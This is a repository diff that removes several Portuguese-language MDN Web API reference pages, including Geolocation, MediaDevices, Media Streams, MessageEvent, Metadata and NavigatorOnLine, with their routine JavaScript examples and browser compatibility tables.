To obtain the user's current location, you can call the {{domxref("geolocation.getCurrentPosition()","getCurrentPosition()")}} method. This initiates an asynchronous request to detect the user's position, and queries the positioning hardware to get up-to-date information. When the position is determined, the defined callback function is executed. You can optionally provide a second callback function to be executed if an error occurs. A third, optional, parameter is an options object where you can set the maximum age of the position returned, the time to wait for a request, and if you want high accuracy for the position.

- -
-

Nota: By default, {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} tries to answer as fast as possible with a low accuracy result. It is useful if you need a quick answer regardless of the accuracy. Devices with a GPS, for example, can take a minute or more to get a GPS fix, so less accurate data (IP location or wifi) may be returned to {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

-
- -
navigator.geolocation.getCurrentPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

The above example will cause the do_something() function to execute when the location is obtained.

- -

Vigiar a posição atual

- -

If the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information. This is done using the {{domxref("Geolocation.watchPosition()","watchPosition()")}} function, which has the same input parameters as {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. The callback function is called multiple times, allowing the browser to either update your location as you move, or provide a more accurate location as different techniques are used to geolocate you. The error callback function, which is optional just as it is for {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, can be called repeatedly.

- -
-

Nota: pode utilizar {{domxref("Geolocation.watchPosition()","watchPosition()")}} sem uma chamada inicial {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

-
- -
var watchID = navigator.geolocation.watchPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

The {{domxref("Geolocation.watchPosition()","watchPosition()")}} method returns an ID number that can be used to uniquely identify the requested position watcher; you use this value in tandem with the {{domxref("Geolocation.clearWatch()","clearWatch()")}} method to stop watching the user's location.

- -
navigator.geolocation.clearWatch(watchID);
-
- -

Resposta de ajuste preciso

- -

Both {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} and {{domxref("Geolocation.watchPosition()","watchPosition()")}} accept a success callback, an optional error callback, and an optional PositionOptions object.

- -

{{page("/en-US/docs/DOM/navigator.geolocation.getCurrentPosition","PositionOptions")}}

- -

A call to {{domxref("Geolocation.watchPosition()","watchPosition")}} could look like:

- -
function geo_success(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-}
-
-function geo_error() {
-  alert("Sorry, no position available.");
-}
-
-var geo_options = {
-  enableHighAccuracy: true,
-  maximumAge        : 30000,
-  timeout           : 27000
-};
-
-var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
- -

Descrever uma posição

- -

The user's location is described using a Position object referencing a Coordinates object.

- -

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Position")}}

- -

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","Coordinates")}}

- -

Lidar com erros

- -

The error callback function, if provided when calling getCurrentPosition() or watchPosition(), expects a PositionError object as its first parameter.

- -
function errorCallback(error) {
-  alert('ERROR(' + error.code + '): ' + error.message);
-};
-
- -

{{page("/en-US/docs/DOM/navigator/geolocation/getCurrentPosition","PositionError")}}

- -

Exemplo de Geolocalização Live

- - - -

Conteúdo HTML

- -
<p><button onclick="geoFindMe()">Show my location</button></p>
-<div id="out"></div>
-
- -

Conteúdo JavaScript

- -
function geoFindMe() {
-  var output = document.getElementById("out");
-
-  if (!navigator.geolocation){
-    output.innerHTML = "<p>Geolocation is not supported by your browser</p>";
-    return;
-  }
-
-  function success(position) {
-    var latitude  = position.coords.latitude;
-    var longitude = position.coords.longitude;
-
-    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
-
-    var img = new Image();
-    img.src = "https://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
-
-    output.appendChild(img);
-  }
-
-  function error() {
-    output.innerHTML = "Unable to retrieve your location";
-  }
-
-  output.innerHTML = "<p>Locating…</p>";
-
-  navigator.geolocation.getCurrentPosition(success, error);
-}
-
- -

Resultado Live

- -

{{EmbedLiveSample('Geolocation_Live_Example', 350, 410)}}

- -

Aviso para permissão

- -

Any add-on hosted on addons.mozilla.org which makes use of geolocation data must explicitly request permission before doing so. The following function will request permission in a manner similar to the automatic prompt displayed for web pages. The user's response will be saved in the preference specified by the pref parameter, if applicable. The function provided in the callback parameter will be called with a boolean value indicating the user's response. If true, the add-on may access geolocation data.

- -
function prompt(window, pref, message, callback) {
-    let branch = Components.classes["@mozilla.org/preferences-service;1"]
-                           .getService(Components.interfaces.nsIPrefBranch);
-
-    if (branch.getPrefType(pref) === branch.PREF_STRING) {
-        switch (branch.getCharPref(pref)) {
-        case "always":
-            return callback(true);
-        case "never":
-            return callback(false);
-        }
-    }
-
-    let done = false;
-
-    function remember(value, result) {
-        return function() {
-            done = true;
-            branch.setCharPref(pref, value);
-            callback(result);
-        }
-    }
-
-    let self = window.PopupNotifications.show(
-        window.gBrowser.selectedBrowser,
-        "geolocation",
-        message,
-        "geo-notification-icon",
-        {
-            label: "Share Location",
-            accessKey: "S",
-            callback: function(notification) {
-                done = true;
-                callback(true);
-            }
-        }, [
-            {
-                label: "Always Share",
-                accessKey: "A",
-                callback: remember("always", true)
-            },
-            {
-                label: "Never Share",
-                accessKey: "N",
-                callback: remember("never", false)
-            }
-        ], {
-            eventCallback: function(event) {
-                if (event === "dismissed") {
-                    if (!done) callback(false);
-                    done = true;
-                    window.PopupNotifications.remove(self);
-                }
-            },
-            persistWhileVisible: true
-        });
-}
-
-prompt(window,
-       "extensions.foo-addon.allowGeolocation",
-       "Foo Add-on wants to know your location.",
-       function callback(allowed) { alert(allowed); });
-
- -

Compatibilidade de navegador

- -

{{Compat("api.Geolocation")}}

- -

Disponibilidade

- -

Como a localização baseada em Wi-Fi é geralmente fornecida pelo Google, a API de Geolocalização "vanilla" pode estar indisponível na China. Pode utilizar os provedores locais de terceiros, tais como  Baidu, Autonavi, ou Tencent. Estes serviços utilziam o endereço de IP do utilizador e/ou uma aplicação local para fornecer o posicionamento melhorado.

- -

Consulte também

- - diff --git a/files/pt-pt/web/api/index.html b/files/pt-pt/web/api/index.html deleted file mode 100644 index 196c30c28f..0000000000 --- a/files/pt-pt/web/api/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: APIs da Web (Interfaces) -slug: Web/API -tags: - - API - - DOM - - JavaScript - - Referencia - - Web -translation_of: Web/API ---- -

Quando escrever código para a Web com Javascript, estão disponíveis muitas APIs excelentes. Em baixo, tem uma lista de interfaces (ou seja, tipos de objetos) que poderá utilizar durante o desenvolvimento da sua aplicaçao ou site da Web.

- -

{{APIListAlpha}}

diff --git a/files/pt-pt/web/api/mathmlelement/index.html b/files/pt-pt/web/api/mathmlelement/index.html deleted file mode 100644 index ee2504017a..0000000000 --- a/files/pt-pt/web/api/mathmlelement/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: MathMLElement -slug: Web/API/MathMLElement -tags: - - API - - Interface - - MathML - - MathMLElement - - Referencia -translation_of: Web/API/MathMLElement ---- -
{{APIRef("MathML")}}
- -

A interface MathMLElement representa qualquer elemento MathML.

- -

Propiedades

- -

Esta interface não tem propriedades, mas herda propriedades de: {{DOMxRef("DocumentAndElementEventHandlers")}}, {{DOMxRef("Element")}}, {{DOMxRef("ElementCSSInlineStyle")}}, {{DOMxRef("GlobalEventHandlers")}}, {{DOMxRef("HTMLOrForeignElement")}}

- -
    -
- -

Métodos

- -

Esta interface não tem métodos, mas herda métodos de: {{DOMxRef("DocumentAndElementEventHandlers")}}, {{DOMxRef("Element")}}, {{DOMxRef("ElementCSSInlineStyle")}}, {{DOMxRef("GlobalEventHandlers")}}, {{DOMxRef("HTMLOrForeignElement")}}

- -

Exemplos

- -

MathML

- -
<math xmlns="http://www.w3.org/1998/Math/MathML">
-  <msqrt>
-    <mi>x</mi>
-  </msqrt>
-</math>
- -

JavaScript

- -
document.querySelector('msqrt').constructor.name; // MathMLElement
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
MathMLElement interface
- -

Compatibilidade

- - - -

{{Compat("api.MathMLElement")}}

- -

Ver também

- -
    -
  • {{DOMxRef("Element")}}
  • -
  • {{DOMxRef("HTMLElement")}}
  • -
  • {{DOMxRef("SVGElement")}}
  • -
diff --git a/files/pt-pt/web/api/media_streams_api/index.html b/files/pt-pt/web/api/media_streams_api/index.html deleted file mode 100644 index 34fefc2bae..0000000000 --- a/files/pt-pt/web/api/media_streams_api/index.html +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: API de Captura de Transmissões de Multimédia (Media Streams) -slug: Web/API/Media_Streams_API -tags: - - API - - API de Transmissão de Multimédia - - Audio - - Avançado - - Guía - - Introdução - - Media - - Multimedia - - Video -translation_of: Web/API/Media_Streams_API -original_slug: Web/API/API_transmissoes_multimedia ---- -
{{DefaultAPISidebar("Media Capture and Streams")}}
- -

A API de Media Capture and Streams, muitas vezes chamada de Media Stream API ou Stream API, é uma API relacionada com WebRTC que suporta transmissões de dados de áudio ou vídeo, os métodos para trabalhar com eles, as restrições associadas com o tipo de dados, as devoluções de retorno de sucesso e erro quando utilizar os dados de forma assíncrona, e os eventos que foram ativados durante o processo.

- -

Conceitos básicos

- -

The API is based on the manipulation of a {{domxref("MediaStream")}} object representing a flux of audio- or video-related data. See an example in Get the video.

- -

A MediaStream consists of zero or more {{domxref("MediaStreamTrack")}} objects, representing various audio or video tracks. Each MediaStreamTrack may have one or more channels. The channel represents the smallest unit of a media stream, such as an audio signal associated with a given speaker, like left or right in a stereo audio track.

- -

MediaStream objects have a single input and a single output. A MediaStream object generated by {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} is called local, and has as its source input one of the user's cameras or microphones. A non-local MediaStream may be representing to a media element, like {{HTMLElement("video")}} or {{HTMLElement("audio")}}, a stream originating over the network, and obtained via the WebRTC {{domxref("RTCPeerConnection")}} API, or a stream created using the Web Audio API {{domxref("MediaStreamAudioSourceNode")}}.   The output of the MediaStream object is linked to a consumer. It can be a media elements, like {{HTMLElement("audio")}} or {{HTMLElement("video")}},  the WebRTC {{domxref("RTCPeerConnection")}} API or a Web Audio API {{domxref("MediaStreamAudioDestinationNode")}}.

- -

Referência

- -
-
    -
  • {{event("addtrack")}} (event)
  • -
  • {{domxref("AudioStreamTrack")}}
  • -
  • {{domxref("BlobEvent")}}
  • -
  • {{event("ended")}} (event)
  • -
  • {{domxref("MediaStream")}}
  • -
  • {{domxref("MediaStreamTrack")}}
  • -
  • {{domxref("MediaStreamTrackEvent")}}
  • -
  • {{domxref("MediaTrackCapabilities")}}
  • -
  • {{domxref("MediaTrackConstraints")}}
  • -
  • {{domxref("MediaTrackSettings")}}
  • -
  • {{domxref("MediaTrackSupportedConstraints")}}
  • -
  • {{event("muted")}} (event)
  • -
  • {{domxref("NavigatorUserMedia")}}
  • -
  • {{domxref("NavigatorUserMediaError")}}
  • -
  • {{event("overconstrained")}} (event)
  • -
  • {{event("removetrack")}} (event)
  • -
  • {{event("started")}} (event)
  • -
  • {{event("unmuted")}} (event)
  • -
  • {{domxref("URL")}}
  • -
  • {{domxref("VideoStreamTrack")}}
  • -
-
- -

Guias e tutoriais

- -

{{LandingPageListSubpages}}

- -

Compatibilidade de navegador

- -

{{ CompatibilityTable }} 

- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)EdgeInternet ExplorerOpera Safari (WebKit)
Stream API 21{{ property_prefix("webkit") }} Nightly 18{{ property_prefix("moz") }} {{ CompatVersionUnknown }}{{ CompatUnknown }} 12{{ CompatUnknown }} 
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
API de emissão{{ CompatNo }} {{CompatVersionUnknown}}{{ CompatUnknown }}{{ CompatUnknown }} {{ CompatNo }} {{ CompatNo }} 
-
- -

 

- -

Currently using WebRTC for accessing the camera is supported in Chrome, Opera and Firefox Nightly 18. Enabling WebRTC in Firefox Nightly requires you to set a flag in the configuration:

- -
    -
  • Type "about:config" in the address bar and say yes that you want to make changes
  • -
  • Find the "media.navigator.enabled" entry and set it to true
  • -
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/mediadevices/index.html b/files/pt-pt/web/api/mediadevices/index.html deleted file mode 100644 index 68ea5de783..0000000000 --- a/files/pt-pt/web/api/mediadevices/index.html +++ /dev/null @@ -1,263 +0,0 @@ ---- -title: MediaDevices -slug: Web/API/MediaDevices -tags: - - API - - Devices - - Interface - - Media - - Media Capture and Streams API - - Media Streams API - - MediaDevices - - NeedsTranslation - - Reference - - TopicStub - - WebRTC -translation_of: Web/API/MediaDevices ---- -
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
- -

The MediaDevices interface provides access to connected media input devices like cameras and microphones, as well as screen sharing. In essence, it lets you obtain access to any hardware source of media data.

- -

Properties

- -

Inherits properties from its parent {{domxref("EventTarget")}}.

- -

Event handlers

- -
-
{{ domxref("MediaDevices.ondevicechange") }}
-
The event handler for the {{event("devicechange")}} event. This event is delivered to the MediaDevices object when a media input or output device is attached to or removed from the user's computer.
-
- -

Methods

- -

Inherits methods from its parent {{domxref("EventTarget")}}.

- -
-
{{ domxref("EventTarget.addEventListener()") }}
-
Registers an event handler to a specific event type.
-
{{ domxref("MediaDevices.enumerateDevices()") }}
-
Obtains an array of information about the media input and output devices available on the system.
-
{{domxref("MediaDevices.getSupportedConstraints()")}}
-
Returns an object conforming to {{domxref("MediaTrackSupportedConstraints")}} indicating which constrainable properties are supported on the {{domxref("MediaStreamTrack")}} interface. See {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} to learn more about constraints and how to use them.
-
{{ domxref("MediaDevices.getUserMedia()") }}
-
With the user's permission through a prompt, turns on a camera or screensharing and/or a microphone on the system and provides a {{domxref("MediaStream")}} containing a video track and/or an audio track with the input.
-
{{ domxref("EventTarget.removeEventListener()") }}
-
Removes an event listener.
-
- -

Example

- -
'use strict';
-
-// Put variables in global scope to make them available to the browser console.
-var video = document.querySelector('video');
-var constraints = window.constraints = {
-  audio: false,
-  video: true
-};
-var errorElement = document.querySelector('#errorMsg');
-
-navigator.mediaDevices.getUserMedia(constraints)
-.then(function(stream) {
-  var videoTracks = stream.getVideoTracks();
-  console.log('Got stream with constraints:', constraints);
-  console.log('Using video device: ' + videoTracks[0].label);
-  stream.onremovetrack = function() {
-    console.log('Stream ended');
-  };
-  window.stream = stream; // make variable available to browser console
-  video.srcObject = stream;
-})
-.catch(function(error) {
-  if (error.name === 'ConstraintNotSatisfiedError') {
-    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
-        constraints.video.width.exact + ' px is not supported by your device.');
-  } else if (error.name === 'PermissionDeniedError') {
-    errorMsg('Permissions have not been granted to use your camera and ' +
-      'microphone, you need to allow the page access to your devices in ' +
-      'order for the demo to work.');
-  }
-  errorMsg('getUserMedia error: ' + error.name, error);
-});
-
-function errorMsg(msg, error) {
-  errorElement.innerHTML += '<p>' + msg + '</p>';
-  if (typeof error !== 'undefined') {
-    console.error(error);
-  }
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}{{Spec2('Media Capture')}}Initial definition
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("36.0")}}{{CompatNo}}{{CompatOpera(30)}}{{CompatNo}}
enumerateDevices(){{CompatChrome(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatOpera(38)}}{{CompatNo}}
getSupportedConstraints(){{CompatChrome(53)}}{{CompatUnknown}}{{CompatGeckoDesktop(44)}}{{CompatNo}}{{CompatOpera(40)}}{{CompatNo}}
ondevicechange and devicechange events{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(51)}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
Stereo audio capture{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(55)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatChrome(47)}}{{CompatChrome(47)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("36.0")}}2.2{{CompatNo}}{{CompatOperaMobile(30)}}{{CompatNo}}{{CompatNo}}
enumerateDevices(){{CompatChrome(51)}}{{CompatChrome(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatOperaMobile(38)}}{{CompatNo}}{{CompatNo}}
getSupportedConstraints(){{CompatChrome(53)}}{{CompatChrome(52)}}{{CompatUnknown}}{{CompatGeckoMobile(50)}}{{CompatUnknown}}{{CompatNo}}{{CompatOperaMobile(40)}}{{CompatNo}}{{CompatNo}}
ondevicechange and devicechange events{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(51)}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
Stereo audio capture{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
- -

[1] Support for the devicechange event and for {{domxref("MediaDevices.ondevicechange")}} landed in Firefox 51, but only for Mac, and disabled by default. It can be enabled by setting the preference media.ondevicechange.enabled to true. Support for this event was added for Linux and Windows—and it was enabled by default—starting in Firefox 52.

-
- -

See also

- - diff --git a/files/pt-pt/web/api/messageevent/index.html b/files/pt-pt/web/api/messageevent/index.html deleted file mode 100644 index f69342523b..0000000000 --- a/files/pt-pt/web/api/messageevent/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: MessageEvent -slug: Web/API/MessageEvent -tags: - - API - - Canais - - Interface - - Mensagens - - Referencia - - WebSockets - - Window - - Workers -translation_of: Web/API/MessageEvent ---- -
{{APIRef("HTML DOM")}}
- -

A interface MessageEvent representa a mensagem recebida pelo objeto alvo.

- -

É usado para representar mensagens em:

- -
    -
  • Eventos enviados pelo servidor (ver {{domxref("EventSource.onmessage")}}).
  • -
  • Web sockets (ver a propriedade onmessage da interface WebSocket).
  • -
  • Envio de mensagens entre-documentos (ver {{domxref("Window.postMessage()")}} e {{domxref("Window.onmessage")}}).
  • -
  • Mensagens em canal (ver {{domxref("MessagePort.postMessage()")}} e {{domxref("MessagePort.onmessage")}}).
  • -
  • Envio de mensagens entre-documentos e entre-workers (ver as duas entradas acima, e tembém {{domxref("Worker.postMessage()")}}, {{domxref("Worker.onmessage")}}, {{domxref("ServiceWorkerGlobalScope.onmessage")}}, etc.)
  • -
  • Canais de transmissão (ver {{domxref("Broadcastchannel.postMessage()")}}) e {{domxref("BroadcastChannel.onmessage")}}).
  • -
  • Canais de transmissão de WebRTC (ver {{domxref("RTCDataChannel.onmessage")}}).
  • -
- -

A ação acionada por este evento é definida na função escolhida para ser o event handler do evento {{event("message")}} relevante (e.x. usar um handler onmessage como é menciondo antriormente).

- -

{{AvailableInWorkers}}
- {{InheritanceDiagram(600, 80)}}

- -

Construtor

- -
-
{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}
-
Cria um MessageEvent.
-
- -

Propriedades

- -

Esta interface também herda propriedades da interface {{domxref("Event")}}, de qual se deriva.

- -
-
{{domxref("MessageEvent.data")}} {{readonlyInline}}
-
Os dados enviados pelo emissor da mensagem.
-
{{domxref("MessageEvent.origin")}} {{readonlyInline}}
-
Uma {{domxref("USVString")}} que representa a origem do emissor da mensagem.
-
{{domxref("MessageEvent.lastEventId")}} {{readonlyInline}}
-
Uma {{domxref("DOMString")}} que representa um ID único para o evento.
-
{{domxref("MessageEvent.source")}} {{readonlyInline}}
-
Uma MessageEventSource (que pode ser um objeto {{domxref("WindowProxy")}}, {{domxref("MessagePort")}}, ou {{domxref("ServiceWorker")}}) que representa o emissor da mensagem.
-
{{domxref("MessageEvent.ports")}} {{readonlyInline}}
-
Uma matriz de objetos {{domxref("MessagePort")}} que representam as portas ao canal por qual as mensagens são enviadas (onde for apropriado, por exemplo em mensagens via canais ou ao enviar uma mensagem a um worker partilhado).
-
- -

Métodos

- -

Esta interface também herda métodos de {{domxref("Event")}}, de qual se deriva.

- -
-
{{domxref("MessageEvent.initMessageEvent","initMessageEvent()")}} {{deprecated_inline}}
-
Inicializa um evento de mensagem. Não useuse antes o construtor {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}.
-
- -

Exemplos

- -

No nossoexemplo básico dum worker partilhado, temos duas páginas de HTML, cada qual usa JavaScript para fazer um simples cálculo. Os scripts diferentes estão a utilizar o mesmo ficheiro de worker para fazer os cálculos — ambos podem-no aceder, mesmo se as páginas estiverem a correr em janelas diferentes.

- -

O seguinte snippet de código demonstra a criação dum objeto {{domxref("SharedWorker")}} usando o construtor {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Ambas scripts contêm isto:

- -
var myWorker = new SharedWorker('worker.js');
-
- -

Ambas scripts acedem ao worker através dum objeto {{domxref("MessagePort")}} criado usando a propriedade {{domxref("SharedWorker.port")}}. Se o evento onmessage foi adicionado usando addEventListener, a porta é manualmente criada usando o seu método start():

- -
myWorker.port.start();
- -

Quando a porta é iniciada, ambos scripts enviam mensagens ao worker e processão mensagens vindas do worker usando port.postMessage() e port.onmessage, respetivamente:

- -
first.onchange = function() {
-  myWorker.port.postMessage([first.value,second.value]);
-  console.log('Mensagem enviada ao worker');
-}
-
-second.onchange = function() {
-  myWorker.port.postMessage([first.value,second.value]);
-  console.log('Mensagem enviada ao worker');
-}
-
-myWorker.port.onmessage = function(e) {
-  result1.textContent = e.data;
-  console.log('Mensagem recebida do worker');
-}
- -

Dentro do worker usamos o handler {{domxref("SharedWorkerGlobalScope.onconnect")}} para nos ligarmos à mesma porta a que referimos antes. As portas associadas a esse worker são acessíveis através da propriedade ports do evento {{event("connect")}} — nós depois usamos o método start() de {{domxref("MessagePort")}} para iniciar a porta, e o handler onmessage para lidar com as mensagens enviadas dos threads principais.

- -
onconnect = function(e) {
-  var port = e.ports[0];
-
-  port.addEventListener('message', function(e) {
-    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
-    port.postMessage(workerResult);
-  });
-
-  port.start(); // Necessário quando se usa addEventListener. Senão é chamado implicitamente pelo setter onmessage.
-}
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', "#messageevent", "MessageEvent")}}{{Spec2('HTML WHATWG')}}
- -

Compatibilidade

- - - -

{{Compat("api.MessageEvent")}}

- -

Ver também

- -
    -
  • {{domxref("ExtendableMessageEvent")}} — parecida a esta interface, mas usada como base de outras interfaces que necessitam dar mais flexibilidade aos seus utilizadores ou autores.
  • -
diff --git a/files/pt-pt/web/api/metadata/index.html b/files/pt-pt/web/api/metadata/index.html deleted file mode 100644 index de3b7848ef..0000000000 --- a/files/pt-pt/web/api/metadata/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Metadados -slug: Web/API/Metadata -tags: - - API - - API Entradas de Diretoria e Ficheiro - - API do Sistema de Ficheiros - - Ficheiros - - Interface - - Não Padrão - - Pff-line - - Referencia - - metadados -translation_of: Web/API/Metadata -original_slug: Web/API/Metadados ---- -

{{ APIRef("File System API") }}{{SeeCompatTable}}{{Non-standard_header}}

- -

A interface de Metadados é utilizada por API Entradas de Diretoria e Ficheiro para conter a informação sobre a entrada do sistema de ficheiros. Estes metadados incluem o tamanho do ficheiro e a data e hora da modificação.

- -
-

Esta interface não está disponível através do escopo global; em vez disso, pode obter um objeto Metadata descrevendo uma {{domxref("FileSystemEntry")}} utilizando o método {{domxref("FileSystemEntry.getMetadata()")}}.

-
- -

Propriedades

- -
-
{{domxref("Metadata.modificationTime", "modificationTime")}} {{ReadOnlyInline}}
-
A {{jsxref("Date")}} object indicating the date and time the entry was modified.
-
- -
-
{{domxref("Metadata.size", "size")}} {{ReadOnlyInline}}
-
A 64-bit unsigned integer indicating the size of the entry in bytes.
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('File System API')}}{{Spec2('File System API')}}Draft of proposed API
- -

Esta API não é uma especificação oficial de W3C ou WHATWG.

- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico13 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeAndroidChrome para AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico{{CompatNo}}0.16 {{property_prefix("webkit")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Consulte também

- - diff --git a/files/pt-pt/web/api/navigatoronline/index.html b/files/pt-pt/web/api/navigatoronline/index.html deleted file mode 100644 index 91197b69ef..0000000000 --- a/files/pt-pt/web/api/navigatoronline/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: NavigatorOnLine -slug: Web/API/NavigatorOnLine -tags: - - API - - HTML-DOM - - NeedsTranslation - - TopicStub -translation_of: Web/API/NavigatorOnLine ---- -

{{APIRef("HTML DOM")}}

- -

The NavigatorOnLine interface contains methods and properties related to the connectivity status of the browser.

- -

There is no object of type NavigatorOnLine, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.

- -

Properties

- -

The NavigatorOnLine interface doesn't inherit any property.

- -
-
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
-
Returns a {{domxref("Boolean")}} indicating whether the browser is working online.
-
- -

Methods

- -

The NavigatorOnLine interface neither implements, nor inherit any method.

- -

Specifications

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML WHATWG')}}No change from the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatGeckoMobile(29)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

See also

- - diff --git a/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html b/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html deleted file mode 100644 index ad57eac34a..0000000000 --- a/files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Eventos online e offline -slug: Web/API/NavigatorOnLine/Online_and_offline_events -tags: - - AJAX - - DOM - - Desenvolvimento_Web - - Todas_as_Categorias -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events -original_slug: Web/API/NavigatorOnLine/Eventos_online_e_offline ---- -

O Firefox 3 implementou eventos Online/Offline da especificação WHATWG Web Applications 1.0.

- -

Visão geral

- -

Para construir uma boa aplicação web capaz de ser usada offline, você precisar saber quando sua aplicação está realmente offline. Casualmente, você pode também precisar saber quando a sua aplicação retornou ao estado 'online' novamente. Efetivamente, as exigências colapsam como tal:

- -
    -
  1. Você precisa saber quando o usuário torna-se online, então você pode re-sincronizar com o servidor.
  2. -
  3. Você precisa saber quando o usuário está offline, então você pode estar seguro para fazer suas requisições do servidor e elas se enfileirarem para um tempo posterior.
  4. -
- -

Este é o processo em que eventos online/offline ajudam a banalizar.

- -

API

- - - -

navigator.onLine é uma propriedade que mantém um valor true/false (true para online, false para offline). Esta propriedade é atualizada sempre que o usuário trocar do "Modo Offline" selecionando o item correspondente do menu (Arquivo -> Trabalhar Offline no Firefox).

- -

Adicionalmente, esta propriedade deve atualizar sempre que o navegador não for mais capaz de conectar a uma rede. De acordo com a especificação:

- -
